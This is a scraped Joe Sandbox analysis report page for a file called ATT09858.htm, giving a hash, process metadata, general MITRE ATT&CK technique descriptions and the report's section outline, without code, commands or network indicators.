MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ATT09858.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
ATT09858.htm